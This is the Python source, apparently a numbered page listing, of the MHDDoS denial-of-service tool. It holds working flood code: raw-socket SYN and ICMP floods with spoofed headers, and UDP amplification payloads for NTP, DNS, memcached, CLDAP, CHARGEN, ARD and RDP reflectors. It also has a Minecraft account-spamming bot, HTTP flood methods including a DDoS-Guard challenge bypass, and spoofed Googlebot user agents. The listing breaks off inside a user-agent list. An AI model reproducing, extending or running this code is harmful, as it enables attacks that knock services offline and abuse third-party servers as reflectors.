12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394959697989910010110210310410510610710810911011111211311411511611711811912012112212312412512612712812913013113213313413513613713813914014114214314414514614714814915015115215315415515615715815916016116216316416516616716816917017117217317417517617717817918018118218318418518618718818919019119219319419519619719819920020120220320420520620720820921021121221321421521621721821922022122222322422522622722822923023123223323423523623723823924024124224324424524624724824925025125225325425525625725825926026126226326426526626726826927027127227327427527627727827928028128228328428528628728828929029129229329429529629729829930030130230330430530630730830931031131231331431531631731831932032132232332432532632732832933033133233333433533633733833934034134234334434534634734834935035135235335435535635735835936036136236336436536636736836937037137237337437537637737837938038138238338438538638738838939039139239339439539639739839940040140240340440540640740840941041141241341441541641741841942042142242342442542642742842943043143243343443543643743843944044144244344444544644744844945045145245345445545645745845946046146246346446546646746846947047147247347447547647747847948048148248348448548648748848949049149249349449549649749849950050150250350450550650750850951051151251351451551651751851952052152252352452552652752852953053153253353453553653753853954054154254354454554654754854955055155255355455555655755855956056156256356456556656756856957057157257357457557657757857958058158258358458558658758858959059159259359459559659759859960060160260360460560660760860961061161261361461561661761861962062162262362462562662762862963063163263363463563663763863964064164264364464564664764864965065165265365465565665765865966066166266366466566666766866967067167267367467567667767867968068168268368468568668768868969069169269369469569669769869970070170270370470570670770870971071171271371471571671771871972072172272372472572672772872973073173273373473573673773873974074174274374474574674774874975075175275375475575675775875976076176276376476576676776876977077177277377477577677777877978078178278378478578678778878979079179279379479579679779879980080180280380480580680780880981081181281381481581681781881982082182282382482582682782882983083183283383483583683783883984084184284384484584684784884985085185285385485585685785885986086186286386486586686786886987087187287387487587687787887988088188288388488588688788888989089189289389489589689789889990090190290390490590690790890991091191291391491591691791891992092192292392492592692792892993093193293393493593693793893994094194294394494594694794894995095195295395495595695795895996096196296396496596696796896997097197297397497597697797897998098198298398498598698798898999099199299399499599699799899910001001100210031004100510061007100810091010101110121013101410151016101710181019102010211022102310241025102610271028102910301031103210331034103510361037103810391040104110421043104410451046104710481049105010511052105310541055105610571058105910601061106210631064106510661067106810691070107110721073107410751076107710781079108010811082108310841085108610871088108910901091109210931094109510961097109810991100110111021103110411051106110711081109111011111112111311141115111611171118111911201121112211231124112511261127112811291130113111321133113411351136113711381139114011411142114311441145114611471148114911501151115211531154115511561157115811591160116111621163116411651166116711681169117011711172117311741175117611771178117911801181118211831184118511861187118811891190119111921193119411951196119711981199120012011202120312041205120612071208120912101211121212131214121512161217121812191220122112221223122412251226122712281229123012311232123312341235123612371238123912401241124212431244124512461247124812491250125112521253125412551256125712581259126012611262126312641265126612671268126912701271127212731274127512761277127812791280128112821283128412851286128712881289129012911292129312941295129612971298129913001301130213031304130513061307130813091310131113121313131413151316131713181319132013211322132313241325132613271328132913301331133213331334133513361337133813391340134113421343134413451346134713481349135013511352135313541355135613571358135913601361136213631364136513661367136813691370137113721373137413751376137713781379138013811382138313841385138613871388138913901391139213931394139513961397139813991400140114021403140414051406140714081409141014111412141314141415141614171418141914201421142214231424142514261427142814291430143114321433143414351436143714381439144014411442144314441445144614471448144914501451145214531454145514561457145814591460146114621463146414651466146714681469147014711472147314741475147614771478147914801481148214831484148514861487148814891490149114921493149414951496149714981499150015011502150315041505150615071508150915101511151215131514151515161517151815191520152115221523152415251526152715281529153015311532153315341535153615371538153915401541154215431544154515461547154815491550155115521553155415551556155715581559156015611562156315641565156615671568156915701571157215731574157515761577157815791580158115821583158415851586158715881589159015911592159315941595159615971598159916001601160216031604160516061607160816091610161116121613161416151616161716181619162016211622162316241625162616271628162916301631163216331634163516361637163816391640164116421643164416451646164716481649165016511652165316541655165616571658165916601661166216631664166516661667166816691670167116721673167416751676167716781679168016811682168316841685168616871688168916901691169216931694169516961697169816991700170117021703170417051706170717081709171017111712171317141715171617171718171917201721172217231724172517261727172817291730 |
- #!/usr/bin/env python3
-
- from concurrent.futures import ThreadPoolExecutor, as_completed
- from contextlib import suppress
- from itertools import cycle
- from json import load
- from logging import basicConfig, getLogger, shutdown
- from math import log2, trunc
- from multiprocessing import RawValue
- from os import urandom as randbytes
- from pathlib import Path
- from re import compile
- from random import choice as randchoice
- from socket import (AF_INET, IP_HDRINCL, IPPROTO_IP, IPPROTO_TCP, IPPROTO_UDP, SOCK_DGRAM, IPPROTO_ICMP,
- SOCK_RAW, SOCK_STREAM, TCP_NODELAY, gethostbyname,
- gethostname, socket)
- from ssl import CERT_NONE, SSLContext, create_default_context
- from struct import pack as data_pack
- from subprocess import run, PIPE
- from sys import argv
- from sys import exit as _exit
- from threading import Event, Thread
- from time import sleep, time
- from typing import Any, List, Set, Tuple
- from urllib import parse
- from uuid import UUID, uuid4
- from PyRoxy import Proxy, ProxyChecker, ProxyType, ProxyUtiles
- from PyRoxy import Tools as ProxyTools
- from certifi import where
- from cloudscraper import create_scraper
- from dns import resolver
- from icmplib import ping
- from impacket.ImpactPacket import IP, TCP, UDP, Data, ICMP
- from psutil import cpu_percent, net_io_counters, process_iter, virtual_memory
- from requests import Response, Session, exceptions, get, cookies
- from yarl import URL
- from base64 import b64encode
- basicConfig(format='[%(asctime)s - %(levelname)s] %(message)s',
- datefmt="%H:%M:%S")
- logger = getLogger("MHDDoS")
- logger.setLevel("INFO")
- ctx: SSLContext = create_default_context(cafile=where())
- ctx.check_hostname = False
- ctx.verify_mode = CERT_NONE
- __version__: str = "2.4 SNAPSHOT"
- __dir__: Path = Path(__file__).parent
- __ip__: Any = None
- tor2webs = [
- 'onion.city',
- 'onion.cab',
- 'onion.direct',
- 'onion.sh',
- 'onion.link',
- 'onion.ws',
- 'onion.pet',
- 'onion.rip',
- 'onion.plus',
- 'onion.top',
- 'onion.si',
- 'onion.ly',
- 'onion.my',
- 'onion.sh',
- 'onion.lu',
- 'onion.casa',
- 'onion.com.de',
- 'onion.foundation',
- 'onion.rodeo',
- 'onion.lat',
- 'tor2web.org',
- 'tor2web.fi',
- 'tor2web.blutmagie.de',
- 'tor2web.to',
- 'tor2web.io',
- 'tor2web.in',
- 'tor2web.it',
- 'tor2web.xyz',
- 'tor2web.su',
- 'darknet.to',
- 's1.tor-gateways.de',
- 's2.tor-gateways.de',
- 's3.tor-gateways.de',
- 's4.tor-gateways.de',
- 's5.tor-gateways.de'
- ]
- with open(__dir__ / "config.json") as f:
- con = load(f)
- with socket(AF_INET, SOCK_DGRAM) as s:
- s.connect(("8.8.8.8", 80))
- __ip__ = s.getsockname()[0]
- class bcolors:
- HEADER = '\033[95m'
- OKBLUE = '\033[94m'
- OKCYAN = '\033[96m'
- OKGREEN = '\033[92m'
- WARNING = '\033[93m'
- FAIL = '\033[91m'
- RESET = '\033[0m'
- BOLD = '\033[1m'
- UNDERLINE = '\033[4m'
- def exit(*message):
- if message:
- logger.error(bcolors.FAIL + " ".join(message) + bcolors.RESET)
- shutdown()
- _exit(1)
- class Methods:
- LAYER7_METHODS: Set[str] = {
- "CFB", "BYPASS", "GET", "POST", "OVH", "STRESS", "DYN", "SLOW", "HEAD",
- "NULL", "COOKIE", "PPS", "EVEN", "GSB", "DGB", "AVB", "CFBUAM",
- "APACHE", "XMLRPC", "BOT", "BOMB", "DOWNLOADER", "KILLER", "TOR", "RHEX", "STOMP"
- }
- LAYER4_AMP: Set[str] = {
- "MEM", "NTP", "DNS", "ARD",
- "CLDAP", "CHAR", "RDP"
- }
- LAYER4_METHODS: Set[str] = {*LAYER4_AMP,
- "TCP", "UDP", "SYN", "VSE", "MINECRAFT",
- "MCBOT", "CONNECTION", "CPS", "FIVEM",
- "TS3", "MCPE", "ICMP"
- }
- ALL_METHODS: Set[str] = {*LAYER4_METHODS, *LAYER7_METHODS}
- google_agents = [
- "Mozila/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
- "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, "
- "like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; "
- "+http://www.google.com/bot.html)) "
- "Googlebot/2.1 (+http://www.google.com/bot.html)",
- "Googlebot/2.1 (+http://www.googlebot.com/bot.html)"
- ]
- class Counter:
- def __init__(self, value=0):
- self._value = RawValue('i', value)
- def __iadd__(self, value):
- self._value.value += value
- return self
- def __int__(self):
- return self._value.value
- def set(self, value):
- self._value.value = value
- return self
- REQUESTS_SENT = Counter()
- BYTES_SEND = Counter()
- class Tools:
- IP = compile("(?:\d{1,3}\.){3}\d{1,3}")
- protocolRex = compile('"protocol":(\d+)')
- @staticmethod
- def humanbytes(i: int, binary: bool = False, precision: int = 2):
- MULTIPLES = [
- "B", "k{}B", "M{}B", "G{}B", "T{}B", "P{}B", "E{}B", "Z{}B", "Y{}B"
- ]
- if i > 0:
- base = 1024 if binary else 1000
- multiple = trunc(log2(i) / log2(base))
- value = i / pow(base, multiple)
- suffix = MULTIPLES[multiple].format("i" if binary else "")
- return f"{value:.{precision}f} {suffix}"
- else:
- return "-- B"
- @staticmethod
- def humanformat(num: int, precision: int = 2):
- suffixes = ['', 'k', 'm', 'g', 't', 'p']
- if num > 999:
- obje = sum(
- [abs(num / 1000.0 ** x) >= 1 for x in range(1, len(suffixes))])
- return f'{num / 1000.0 ** obje:.{precision}f}{suffixes[obje]}'
- else:
- return num
- @staticmethod
- def sizeOfRequest(res: Response) -> int:
- size: int = len(res.request.method)
- size += len(res.request.url)
- size += len('\r\n'.join(f'{key}: {value}'
- for key, value in res.request.headers.items()))
- return size
- @staticmethod
- def send(sock: socket, packet: bytes):
- global BYTES_SEND, REQUESTS_SENT
- if not sock.send(packet):
- return False
- BYTES_SEND += len(packet)
- REQUESTS_SENT += 1
- return True
- @staticmethod
- def sendto(sock, packet, target):
- global BYTES_SEND, REQUESTS_SENT
- if not sock.sendto(packet, target):
- return False
- BYTES_SEND += len(packet)
- REQUESTS_SENT += 1
- return True
- @staticmethod
- def dgb_solver(url, ua, pro=None):
- s = None
- idss = None
- with Session() as s:
- if pro:
- s.proxies = pro
- hdrs = {
- "User-Agent": ua,
- "Accept": "text/html",
- "Accept-Language": "en-US",
- "Connection": "keep-alive",
- "Sec-Fetch-Dest": "document",
- "Sec-Fetch-Mode": "navigate",
- "Sec-Fetch-Site": "none",
- "Sec-Fetch-User": "?1",
- "TE": "trailers",
- "DNT": "1"
- }
- with s.get(url, headers=hdrs) as ss:
- for key, value in ss.cookies.items():
- s.cookies.set_cookie(cookies.create_cookie(key, value))
- hdrs = {
- "User-Agent": ua,
- "Accept": "*/*",
- "Accept-Language": "en-US,en;q=0.5",
- "Accept-Encoding": "gzip, deflate",
- "Referer": url,
- "Sec-Fetch-Dest": "script",
- "Sec-Fetch-Mode": "no-cors",
- "Sec-Fetch-Site": "cross-site"
- }
- with s.post("https://check.ddos-guard.net/check.js", headers=hdrs) as ss:
- for key, value in ss.cookies.items():
- if key == '__ddg2':
- idss = value
- s.cookies.set_cookie(cookies.create_cookie(key, value))
- hdrs = {
- "User-Agent": ua,
- "Accept": "image/webp,*/*",
- "Accept-Language": "en-US,en;q=0.5",
- "Accept-Encoding": "gzip, deflate",
- "Cache-Control": "no-cache",
- "Referer": url,
- "Sec-Fetch-Dest": "script",
- "Sec-Fetch-Mode": "no-cors",
- "Sec-Fetch-Site": "cross-site"
- }
- with s.get(f"{url}.well-known/ddos-guard/id/{idss}", headers=hdrs) as ss:
- for key, value in ss.cookies.items():
- s.cookies.set_cookie(cookies.create_cookie(key, value))
- return s
- return False
- @staticmethod
- def safe_close(sock=None):
- if sock:
- sock.close()
- class Minecraft:
- @staticmethod
- def varint(d: int) -> bytes:
- o = b''
- while True:
- b = d & 0x7F
- d >>= 7
- o += data_pack("B", b | (0x80 if d > 0 else 0))
- if d == 0:
- break
- return o
- @staticmethod
- def data(*payload: bytes) -> bytes:
- payload = b''.join(payload)
- return Minecraft.varint(len(payload)) + payload
- @staticmethod
- def short(integer: int) -> bytes:
- return data_pack('>H', integer)
- @staticmethod
- def long(integer: int) -> bytes:
- return data_pack('>q', integer)
- @staticmethod
- def handshake(target: Tuple[str, int], version: int, state: int) -> bytes:
- return Minecraft.data(Minecraft.varint(0x00),
- Minecraft.varint(version),
- Minecraft.data(target[0].encode()),
- Minecraft.short(target[1]),
- Minecraft.varint(state))
- @staticmethod
- def handshake_forwarded(target: Tuple[str, int], version: int, state: int, ip: str, uuid: UUID) -> bytes:
- return Minecraft.data(Minecraft.varint(0x00),
- Minecraft.varint(version),
- Minecraft.data(
- target[0].encode(),
- b"\x00",
- ip.encode(),
- b"\x00",
- uuid.hex.encode()
- ),
- Minecraft.short(target[1]),
- Minecraft.varint(state))
- @staticmethod
- def login(protocol: int, username: str) -> bytes:
- if isinstance(username, str):
- username = username.encode()
- return Minecraft.data(Minecraft.varint(0x00 if protocol >= 391 else \
- 0x01 if protocol >= 385 else \
- 0x00),
- Minecraft.data(username))
- @staticmethod
- def keepalive(protocol: int, num_id: int) -> bytes:
- return Minecraft.data(Minecraft.varint(0x0F if protocol >= 755 else \
- 0x10 if protocol >= 712 else \
- 0x0F if protocol >= 471 else \
- 0x10 if protocol >= 464 else \
- 0x0E if protocol >= 389 else \
- 0x0C if protocol >= 386 else \
- 0x0B if protocol >= 345 else \
- 0x0A if protocol >= 343 else \
- 0x0B if protocol >= 336 else \
- 0x0C if protocol >= 318 else \
- 0x0B if protocol >= 107 else \
- 0x00),
- Minecraft.long(num_id) if protocol >= 339 else \
- Minecraft.varint(num_id))
- @staticmethod
- def chat(protocol: int, message: str) -> bytes:
- return Minecraft.data(Minecraft.varint(0x03 if protocol >= 755 else \
- 0x03 if protocol >= 464 else \
- 0x02 if protocol >= 389 else \
- 0x01 if protocol >= 343 else \
- 0x02 if protocol >= 336 else \
- 0x03 if protocol >= 318 else \
- 0x02 if protocol >= 107 else \
- 0x01),
- Minecraft.data(message.encode()))
- # noinspection PyBroadException,PyUnusedLocal
- class Layer4(Thread):
- _method: str
- _target: Tuple[str, int]
- _ref: Any
- SENT_FLOOD: Any
- _amp_payloads = cycle
- _proxies: List[Proxy] = None
- def __init__(self,
- target: Tuple[str, int],
- ref: List[str] = None,
- method: str = "TCP",
- synevent: Event = None,
- proxies: Set[Proxy] = None,
- protocolid: int = 74):
- Thread.__init__(self, daemon=True)
- self._amp_payload = None
- self._amp_payloads = cycle([])
- self._ref = ref
- self.protocolid = protocolid
- self._method = method
- self._target = target
- self._synevent = synevent
- if proxies:
- self._proxies = list(proxies)
- self.methods = {
- "UDP": self.UDP,
- "SYN": self.SYN,
- "VSE": self.VSE,
- "TS3": self.TS3,
- "MCPE": self.MCPE,
- "FIVEM": self.FIVEM,
- "MINECRAFT": self.MINECRAFT,
- "CPS": self.CPS,
- "CONNECTION": self.CONNECTION,
- "MCBOT": self.MCBOT,
- }
- def run(self) -> None:
- if self._synevent: self._synevent.wait()
- self.select(self._method)
- while self._synevent.is_set():
- self.SENT_FLOOD()
- def open_connection(self,
- conn_type=AF_INET,
- sock_type=SOCK_STREAM,
- proto_type=IPPROTO_TCP):
- if self._proxies:
- s = randchoice(self._proxies).open_socket(
- conn_type, sock_type, proto_type)
- else:
- s = socket(conn_type, sock_type, proto_type)
- s.setsockopt(IPPROTO_TCP, TCP_NODELAY, 1)
- s.settimeout(.9)
- s.connect(self._target)
- return s
- def TCP(self) -> None:
- s = None
- with suppress(Exception), self.open_connection(AF_INET, SOCK_STREAM) as s:
- while Tools.send(s, randbytes(1024)):
- continue
- Tools.safe_close(s)
- def MINECRAFT(self) -> None:
- handshake = Minecraft.handshake(self._target, self.protocolid, 1)
- ping = Minecraft.data(b'\x00')
- s = None
- with suppress(Exception), self.open_connection(AF_INET, SOCK_STREAM) as s:
- while Tools.send(s, handshake):
- Tools.send(s, ping)
- Tools.safe_close(s)
- def CPS(self) -> None:
- global REQUESTS_SENT
- s = None
- with suppress(Exception), self.open_connection(AF_INET, SOCK_STREAM) as s:
- REQUESTS_SENT += 1
- Tools.safe_close(s)
- def alive_connection(self) -> None:
- s = None
- with suppress(Exception), self.open_connection(AF_INET, SOCK_STREAM) as s:
- while s.recv(1):
- continue
- Tools.safe_close(s)
- def CONNECTION(self) -> None:
- global REQUESTS_SENT
- with suppress(Exception):
- Thread(target=self.alive_connection).start()
- REQUESTS_SENT += 1
- def UDP(self) -> None:
- s = None
- with suppress(Exception), socket(AF_INET, SOCK_DGRAM) as s:
- while Tools.sendto(s, randbytes(1024), self._target):
- continue
- Tools.safe_close(s)
- def ICMP(self) -> None:
- payload = self._genrate_icmp()
- s = None
- with suppress(Exception), socket(AF_INET, SOCK_RAW, IPPROTO_ICMP) as s:
- s.setsockopt(IPPROTO_IP, IP_HDRINCL, 1)
- while Tools.sendto(s, payload, self._target):
- continue
- Tools.safe_close(s)
- def SYN(self) -> None:
- s = None
- with suppress(Exception), socket(AF_INET, SOCK_RAW, IPPROTO_TCP) as s:
- s.setsockopt(IPPROTO_IP, IP_HDRINCL, 1)
- while Tools.sendto(s, self._genrate_syn(), self._target):
- continue
- Tools.safe_close(s)
- def AMP(self) -> None:
- s = None
- with suppress(Exception), socket(AF_INET, SOCK_RAW,
- IPPROTO_UDP) as s:
- s.setsockopt(IPPROTO_IP, IP_HDRINCL, 1)
- while Tools.sendto(s, *next(self._amp_payloads)):
- continue
- Tools.safe_close(s)
- def MCBOT(self) -> None:
- s = None
- with suppress(Exception), self.open_connection(AF_INET, SOCK_STREAM) as s:
- Tools.send(s, Minecraft.handshake_forwarded(self._target,
- self.protocolid,
- 2,
- ProxyTools.Random.rand_ipv4(),
- uuid4()))
- username = f"{con['MCBOT']}{ProxyTools.Random.rand_str(5)}"
- password = b64encode(username.encode()).decode()[:8].title()
- Tools.send(s, Minecraft.login(self.protocolid, username))
-
- sleep(1.5)
- Tools.send(s, Minecraft.chat(self.protocolid, "/register %s %s" % (password, password)))
- Tools.send(s, Minecraft.chat(self.protocolid, "/login %s" % password))
- while Tools.send(s, Minecraft.chat(self.protocolid, str(ProxyTools.Random.rand_str(256)))):
- sleep(1.1)
- Tools.safe_close(s)
- def VSE(self) -> None:
- global BYTES_SEND, REQUESTS_SENT
- payload = (b'\xff\xff\xff\xff\x54\x53\x6f\x75\x72\x63\x65\x20\x45\x6e\x67\x69\x6e\x65'
- b'\x20\x51\x75\x65\x72\x79\x00')
- with socket(AF_INET, SOCK_DGRAM) as s:
- while Tools.sendto(s, payload, self._target):
- continue
- Tools.safe_close(s)
- def FIVEM(self) -> None:
- global BYTES_SEND, REQUESTS_SENT
- payload = b'\xff\xff\xff\xffgetinfo xxx\x00\x00\x00'
- with socket(AF_INET, SOCK_DGRAM) as s:
- while Tools.sendto(s, payload, self._target):
- continue
- Tools.safe_close(s)
- def TS3(self) -> None:
- global BYTES_SEND, REQUESTS_SENT
- payload = b'\x05\xca\x7f\x16\x9c\x11\xf9\x89\x00\x00\x00\x00\x02'
- with socket(AF_INET, SOCK_DGRAM) as s:
- while Tools.sendto(s, payload, self._target):
- continue
- Tools.safe_close(s)
- def MCPE(self) -> None:
- global BYTES_SEND, REQUESTS_SENT
- payload = (b'\x61\x74\x6f\x6d\x20\x64\x61\x74\x61\x20\x6f\x6e\x74\x6f\x70\x20\x6d\x79\x20\x6f'
- b'\x77\x6e\x20\x61\x73\x73\x20\x61\x6d\x70\x2f\x74\x72\x69\x70\x68\x65\x6e\x74\x20'
- b'\x69\x73\x20\x6d\x79\x20\x64\x69\x63\x6b\x20\x61\x6e\x64\x20\x62\x61\x6c\x6c'
- b'\x73')
- with socket(AF_INET, SOCK_DGRAM) as s:
- while Tools.sendto(s, payload, self._target):
- continue
- Tools.safe_close(s)
- def _genrate_syn(self) -> bytes:
- ip: IP = IP()
- ip.set_ip_src(__ip__)
- ip.set_ip_dst(self._target[0])
- tcp: TCP = TCP()
- tcp.set_SYN()
- tcp.set_th_flags(0x02)
- tcp.set_th_dport(self._target[1])
- tcp.set_th_sport(ProxyTools.Random.rand_int(32768, 65535))
- ip.contains(tcp)
- return ip.get_packet()
- def _genrate_icmp(self) -> bytes:
- ip: IP = IP()
- ip.set_ip_src(__ip__)
- ip.set_ip_dst(self._target[0])
- icmp: ICMP = ICMP()
- icmp.set_icmp_type(icmp.ICMP_ECHO)
- icmp.contains(Data(b"A" * ProxyTools.Random.rand_int(16, 1024)))
- ip.contains(icmp)
- return ip.get_packet()
- def _generate_amp(self):
- payloads = []
- for ref in self._ref:
- ip: IP = IP()
- ip.set_ip_src(self._target[0])
- ip.set_ip_dst(ref)
- ud: UDP = UDP()
- ud.set_uh_dport(self._amp_payload[1])
- ud.set_uh_sport(self._target[1])
- ud.contains(Data(self._amp_payload[0]))
- ip.contains(ud)
- payloads.append((ip.get_packet(), (ref, self._amp_payload[1])))
- return payloads
- def select(self, name):
- self.SENT_FLOOD = self.TCP
- for key, value in self.methods.items():
- if name == key:
- self.SENT_FLOOD = value
- elif name == "ICMP":
- self.SENT_FLOOD = self.ICMP
- self._target = (self._target[0], 0)
- elif name == "RDP":
- self._amp_payload = (
- b'\x00\x00\x00\x00\x00\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x00',
- 3389)
- self.SENT_FLOOD = self.AMP
- self._amp_payloads = cycle(self._generate_amp())
- elif name == "CLDAP":
- self._amp_payload = (
- b'\x30\x25\x02\x01\x01\x63\x20\x04\x00\x0a\x01\x00\x0a\x01\x00\x02\x01\x00\x02\x01\x00'
- b'\x01\x01\x00\x87\x0b\x6f\x62\x6a\x65\x63\x74\x63\x6c\x61\x73\x73\x30\x00',
- 389)
- self.SENT_FLOOD = self.AMP
- self._amp_payloads = cycle(self._generate_amp())
- elif name == "MEM":
- self._amp_payload = (
- b'\x00\x01\x00\x00\x00\x01\x00\x00gets p h e\n', 11211)
- self.SENT_FLOOD = self.AMP
- self._amp_payloads = cycle(self._generate_amp())
- elif name == "CHAR":
- self._amp_payload = (b'\x01', 19)
- self.SENT_FLOOD = self.AMP
- self._amp_payloads = cycle(self._generate_amp())
- elif name == "ARD":
- self._amp_payload = (b'\x00\x14\x00\x00', 3283)
- self.SENT_FLOOD = self.AMP
- self._amp_payloads = cycle(self._generate_amp())
- elif name == "NTP":
- self._amp_payload = (b'\x17\x00\x03\x2a\x00\x00\x00\x00', 123)
- self.SENT_FLOOD = self.AMP
- self._amp_payloads = cycle(self._generate_amp())
- elif name == "DNS":
- self._amp_payload = (
- b'\x45\x67\x01\x00\x00\x01\x00\x00\x00\x00\x00\x01\x02\x73\x6c\x00\x00\xff\x00\x01\x00'
- b'\x00\x29\xff\xff\x00\x00\x00\x00\x00\x00',
- 53)
- self.SENT_FLOOD = self.AMP
- self._amp_payloads = cycle(self._generate_amp())
- # noinspection PyBroadException,PyUnusedLocal
- class HttpFlood(Thread):
- _proxies: List[Proxy] = None
- _payload: str
- _defaultpayload: Any
- _req_type: str
- _useragents: List[str]
- _referers: List[str]
- _target: URL
- _method: str
- _rpc: int
- _synevent: Any
- SENT_FLOOD: Any
- def __init__(self,
- thread_id: int,
- target: URL,
- host: str,
- method: str = "GET",
- rpc: int = 1,
- synevent: Event = None,
- useragents: Set[str] = None,
- referers: Set[str] = None,
- proxies: Set[Proxy] = None) -> None:
- Thread.__init__(self, daemon=True)
- self.SENT_FLOOD = None
- self._thread_id = thread_id
- self._synevent = synevent
- self._rpc = rpc
- self._method = method
- self._target = target
- self._host = host
- self._raw_target = (self._host, (self._target.port or 80))
- if not self._target.host[len(self._target.host) - 1].isdigit():
- self._raw_target = (self._host, (self._target.port or 80))
- self.methods = {
- "POST": self.POST,
- "CFB": self.CFB,
- "CFBUAM": self.CFBUAM,
- "XMLRPC": self.XMLRPC,
- "BOT": self.BOT,
- "APACHE": self.APACHE,
- "BYPASS": self.BYPASS,
- "DGB": self.DGB,
- "OVH": self.OVH,
- "AVB": self.AVB,
- "STRESS": self.STRESS,
- "DYN": self.DYN,
- "SLOW": self.SLOW,
- "GSB": self.GSB,
- "RHEX": self.RHEX,
- "STOMP": self.STOMP,
- "NULL": self.NULL,
- "COOKIE": self.COOKIES,
- "TOR": self.TOR,
- "EVEN": self.EVEN,
- "DOWNLOADER": self.DOWNLOADER,
- "BOMB": self.BOMB,
- "PPS": self.PPS,
- "KILLER": self.KILLER,
- }
- if not referers:
- referers: List[str] = [
- "https://www.facebook.com/l.php?u=https://www.facebook.com/l.php?u=",
- ",https://www.facebook.com/sharer/sharer.php?u=https://www.facebook.com/sharer"
- "/sharer.php?u=",
- ",https://drive.google.com/viewerng/viewer?url=",
- ",https://www.google.com/translate?u="
- ]
- self._referers = list(referers)
- if proxies:
- self._proxies = list(proxies)
- if not useragents:
- useragents: List[str] = [
- 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 ',
- 'Safari/537.36',
- 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 ',
- 'Safari/537.36',
- 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 ',
- 'Safari/537.36',
- 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0',
- 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19582',
- 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19577',
- 'Mozilla/5.0 (X11) AppleWebKit/62.41 (KHTML, like Gecko) Edge/17.10859 Safari/452.6',
- 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14931',
- 'Chrome (AppleWebKit/537.1; Chrome50.0; Windows NT 6.3) AppleWebKit/537.36 (KHTML like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393',
- 'Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/46.0.2486.0 Safari/537.36 Edge/13.9200',
- 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/46.0.2486.0 Safari/537.36 Edge/13.10586',
- 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246',
- 'Mozilla/5.0 (Linux; U; Android 4.0.3; ko-kr; LG-L160L Build/IML74K) AppleWebkit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30',
- 'Mozilla/5.0 (Linux; U; Android 4.0.3; de-ch; HTC Sensation Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30',
- 'Mozilla/5.0 (Linux; U; Android 2.3; en-us) AppleWebKit/999+ (KHTML, like Gecko) Safari/999.9',
- 'Mozilla/5.0 (Linux; U; Android 2.3.5; zh-cn; HTC_IncredibleS_S710e Build/GRJ90) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
- 'Mozilla/5.0 (Linux; U; Android 2.3.5; en-us; HTC Vision Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
- 'Mozilla/5.0 (Linux; U; Android 2.3.4; fr-fr; HTC Desire Build/GRJ22) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
- 'Mozilla/5.0 (Linux; U; Android 2.3.4; en-us; T-Mobile myTouch 3G Slide Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
- 'Mozilla/5.0 (Linux; U; Android 2.3.3; zh-tw; HTC_Pyramid Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
- 'Mozilla/5.0 (Linux; U; Android 2.3.3; zh-tw; HTC_Pyramid Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari',
- 'Mozilla/5.0 (Linux; U; Android 2.3.3; zh-tw; HTC Pyramid Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
- 'Mozilla/5.0 (Linux; U; Android 2.3.3; ko-kr; LG-LU3000 Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
- 'Mozilla/5.0 (Linux; U; Android 2.3.3; en-us; HTC_DesireS_S510e Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
- 'Mozilla/5.0 (Linux; U; Android 2.3.3; en-us; HTC_DesireS_S510e Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile',
- 'Mozilla/5.0 (Linux; U; Android 2.3.3; de-de; HTC Desire Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
- 'Mozilla/5.0 (Linux; U; Android 2.3.3; de-ch; HTC Desire Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
- 'Mozilla/5.0 (Linux; U; Android 2.2; fr-lu; HTC Legend Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
- 'Mozilla/5.0 (Linux; U; Android 2.2; en-sa; HTC_DesireHD_A9191 Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
